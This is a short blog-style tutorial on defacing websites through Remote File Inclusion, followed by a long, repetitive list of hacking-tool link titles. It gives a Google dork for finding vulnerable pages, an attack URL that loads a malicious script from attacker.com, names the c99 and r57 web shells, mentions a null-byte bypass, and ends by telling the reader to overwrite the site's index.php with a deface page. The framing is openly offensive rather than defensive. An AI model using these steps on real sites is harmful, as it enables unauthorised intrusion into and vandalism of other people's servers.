HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related links

1. Hacking Tools Software
2. Pentest Tools List
3. Pentest Tools For Ubuntu
4. Top Pentest Tools
5. Hacking Tools Kit
6. Blackhat Hacker Tools
7. Pentest Tools Bluekeep
8. Hacker Tools Online
9. Hacker Tools Github
10. Hack Tools For Games
11. Hacker Search Tools
12. Install Pentest Tools Ubuntu
13. Physical Pentest Tools
14. Pentest Automation Tools
15. Game Hacking
16. Hacker Tools 2019
17. Pentest Tools Tcp Port Scanner
18. Hacker Tools 2020
19. Hacking Tools Mac
20. Hacker Tools For Windows
21. Hack Tools
22. Hack Tools For Mac
23. Hacker Hardware Tools
24. Hack Tools 2019
25. Hacker Tools Apk
26. Game Hacking
27. Pentest Tools Online
28. Install Pentest Tools Ubuntu
29. Hack Tools Mac
30. Pentest Tools Nmap
31. Hack Tools For Mac
32. Hack Tool Apk No Root
33. Growth Hacker Tools
34. Hack Apps
35. Pentest Tools Alternative
36. Hacking App
37. Underground Hacker Sites
38. Pentest Box Tools Download
39. New Hacker Tools
40. Hackers Toolbox
41. Best Hacking Tools 2019
42. Hack Tools For Games
43. Hacking Tools 2019
44. Hack Tools Online
45. Free Pentest Tools For Windows
46. Hack Rom Tools
47. Best Hacking Tools 2020
48. Pentest Tools Kali Linux
49. Hacking Tools For Beginners
50. Hacker Tools Github
51. Hack And Tools
52. Hack Rom Tools
53. Hacker Tools For Mac
54. Pentest Tools For Mac
55. Hack Tool Apk
56. Pentest Tools Website Vulnerability
57. How To Install Pentest Tools In Ubuntu
58. Hack Apps
59. Pentest Tools Apk
60. Hacking Tools Windows 10
61. Tools 4 Hack
62. Pentest Tools Free
63. How To Make Hacking Tools
64. What Is Hacking Tools
65. Hacking Tools Hardware
66. Hackrf Tools
67. Pentest Tools Github
68. Hack App
69. Nsa Hack Tools Download
70. Hacking Tools For Games
71. Hacker
72. Pentest Tools Website Vulnerability
73. Hacker Tools List
74. How To Make Hacking Tools
75. Hacker Search Tools
76. Hacking Tools 2020
77. Hacker Hardware Tools
78. Pentest Tools
79. Hack Tools Download
80. Best Hacking Tools 2019
81. Black Hat Hacker Tools
82. Pentest Automation Tools
83. How To Install Pentest Tools In Ubuntu
84. Hacker Tools For Ios
85. Nsa Hack Tools Download
86. Pentest Tools Website Vulnerability
87. Hacking Tools Online
88. Hacker Tools Windows